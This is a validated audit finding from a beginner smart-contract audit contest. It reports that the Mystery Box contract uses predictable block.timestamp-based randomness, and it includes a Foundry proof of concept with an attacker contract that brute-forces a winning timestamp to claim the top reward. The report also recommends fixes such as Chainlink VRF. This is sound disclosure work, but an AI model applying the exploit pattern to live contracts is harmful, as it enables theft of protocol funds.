Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Predictable Randomness in MysteryBox::openBox() Allows for Front-Running Exploitation

## Summary
The `MysteryBox::openBox()` function relies on on-chain data, such as `block.timestamp`, to generate random values for determining rewards. However, this method exposes the protocol to front-running attacks. A potential attacker can monitor the on-chain data and, by understanding the predictable nature of the randomness, time their transactions to maximize their rewards with each call to the function.
## Vulnerability Details
The `MysteryBox::openBox()` function generates random values using predictable on-chain data, specifically `block.timestamp` and `msg.sender`. This makes it possible for an attacker to predict the outcome of the randomness and front-run the function to manipulate the reward system. By analyzing the code and monitoring the blockchain, attackers can precompute the random value and execute their transaction when the conditions are most favorable.
```javascript
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
// Generate a random number between 0 and 99
@> uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
// Determine the reward based on probability
if (randomValue < 75) {
// 75% chance to get Coal (0-74)
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
// 20% chance to get Bronze Coin (75-94)
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
// 4% chance to get Silver Coin (95-98)
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
// 1% chance to get Gold Coin (99)
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}
```
## Impact
This vulnerability can lead to significant exploitation of the protocol. A player can predict the outcome of the `MysteryBox::openBox()` function by analyzing on-chain data, such as `block.timestamp`. The player can then strategically send a transaction at the exact moment when the generated random value will yield the highest reward. As a result, the player can continuously exploit the system to receive the maximum reward (e.g., a Gold Coin), potentially draining the protocol's resources and damaging its integrity.
## Tools Used
To demonstrate this vulnerability, a proof of concept was tested using the Foundry framework. The code within the `testFrontRunningOnOpenBox()` function simulates an attack where the attacker calculates the most favorable `block.timestamp` to maximize their reward. This code can be deployed in a smart contract, allowing the attacker to call the `MysteryBox` protocol and exploit the predictable randomness to consistently claim the highest possible rewards.
Below is the test code used to simulate and demonstrate the front-running vulnerability:
<details>
<summary>Code</summary>
Add the following code to a file named in the format `<filename>.t.sol` in a foundry project's test folder and run it.
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2} from "../lib/forge-std/src/Test.sol"; // Importing the Foundry testing utilities
import "../lib/forge-std/src/Test.sol"; // Importing additional Foundry testing utilities
import "../src/MysteryBox.sol"; // Importing the contract to be tested (MysteryBox)
contract MysteryBoxTest is Test {
MysteryBox public mysteryBox; // Instance of the MysteryBox contract
frontRunAttacker public frontRunner; // Instance of the front-running attack contract
address public owner; // Address of the owner for the test setup
address public user1; // Dummy user1 address
address public user2; // Dummy user2 address
// Setup function executed before tests
function setUp() public {
owner = makeAddr("owner"); // Assigning an owner address
vm.deal(owner, 100 ether); // Giving the owner 100 ethers for testing purposes
user1 = address(0x1); // Dummy user1 address setup
user2 = address(0x2); // Dummy user2 address setup
vm.prank(owner); // Simulate the next transaction being sent from the owner
mysteryBox = new MysteryBox{value: 10 ether}(); // Deploy the MysteryBox contract with 10 ether of funding
frontRunner = new frontRunAttacker(address(mysteryBox)); // Deploy the frontRunAttacker contract and link it to MysteryBox
address(payable(frontRunner)).call{value: 1 ether}(""); // Send 1 ether to the frontRunAttacker contract for testing
}
// Test to simulate front-running the `openBox()` function
function testFrontRunningOnOpenBox() public {
uint256 balanceBefore = address(frontRunner).balance; // Record the balance of the front-runner before the attack
bool found = false; // Flag to track when a favorable timestamp is found
uint256 timestamp = block.timestamp; // Start from the current block timestamp
// Search for a favorable timestamp where the pseudo-random value leads to a high reward
while (!found) {
// Simulate the random value calculation with the current timestamp and frontRunner's address
uint256 pseudoRandomValue = uint256(keccak256(abi.encodePacked(timestamp, address(frontRunner)))) % 100;
// Check if the calculated random value would result in the maximum reward (greater than 98)
if (pseudoRandomValue > 98) {
found = true; // Set the flag to true when a favorable timestamp is found
} else {
timestamp++; // Increment the timestamp if the favorable value is not found
}
}
// Simulate block mining and jump to the favorable timestamp
vm.warp(timestamp);
// Execute the attacker's strategy: buy a box, open it, and claim the reward
frontRunner.buyAndClaimReward();
uint256 balanceAfter = address(frontRunner).balance; // Record the balance after claiming the reward
// Assert that the attacker gained the maximum reward (0.9 ether profit after spending 0.1 ether to buy the box)
assert(balanceAfter == balanceBefore + 0.9 ether);
}
}
contract frontRunAttacker {
MysteryBox mysteryBoxInstance; // Instance of the MysteryBox contract linked to the attacker
// Constructor to initialize the MysteryBox instance
constructor(address mysteryBoxAddress) {
mysteryBoxInstance = MysteryBox(mysteryBoxAddress); // Set the linked MysteryBox instance
}
// Function simulating the attacker's sequence of actions
function buyAndClaimReward() public {
// Buy a box from the MysteryBox contract
mysteryBoxInstance.buyBox{value: 0.1 ether}();
// Open the box, relying on the precomputed favorable timestamp for maximum rewards
mysteryBoxInstance.openBox();
// Claim all rewards earned from the opened box
mysteryBoxInstance.claimAllRewards();
}
// Fallback function to receive any ether sent to the contract
receive() external payable {}
}
```
</details>
## Recommendations
To securely generate randomness on-chain and mitigate front-running, the protocol should implement a more secure source of randomness. One highly recommended method is using Chainlink VRF (Verifiable Random Function). Chainlink VRF is a widely adopted solution for secure and tamper-proof randomness on-chain. It ensures that the randomness is verifiable and cannot be manipulated by the user, miners, or other actors. Here are some recommendations to mitigate the front-running vulnerability:
1. **Chainlink VRF (Verifiable Random Function)**:
- **Secure Randomness**: Chainlink VRF provides cryptographically secure and verifiable randomness, ensuring that neither the user nor miners can manipulate the random value.
- **Tamper-Proof**: The randomness is generated off-chain in a tamper-proof manner, with a proof accompanying each random number, making it highly reliable for critical functions like reward distribution.
2. **Commit-Reveal Scheme**:
- **Two-Step Randomness**: In a commit-reveal scheme, randomness is generated in two phases. In the first phase, a user commits to a value, and in the second phase, they reveal the value. This prevents front-running since the final randomness isn't known until both phases are complete.
- **Enhanced Security**: By separating the commitment and reveal phases, attackers are unable to predict the final outcome, reducing the likelihood of exploitation.
3. **Blockhash with a Delay**:
- **Delayed Blockhash Usage**: Instead of using the current block’s timestamp or blockhash, use the blockhash of a future or previous block after a certain number of confirmations. This introduces uncertainty for potential attackers since they can't predict or manipulate block data across multiple blocks.
- **Mitigation of Miner Manipulation**: The delayed use of blockhash reduces the likelihood that miners or attackers can manipulate block data to influence the randomness.
4. **Randomness from External Oracles**:
- **Decentralized Oracles**: Utilize decentralized oracle networks that aggregate randomness from multiple sources. This distributes trust and prevents any single actor from controlling the randomness.
- **Security via Diversity**: By sourcing randomness from multiple, independent nodes or sources, the protocol can reduce the risk of manipulation from any single entity.
Implementing one or more of these methods will significantly enhance the security of the randomness generation in the `MysteryBox` protocol, preventing front-running and ensuring a fair and tamper-proof reward distribution.
Updates

Lead Judging Commences

inallhonesty Lead Judge
11 months ago

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.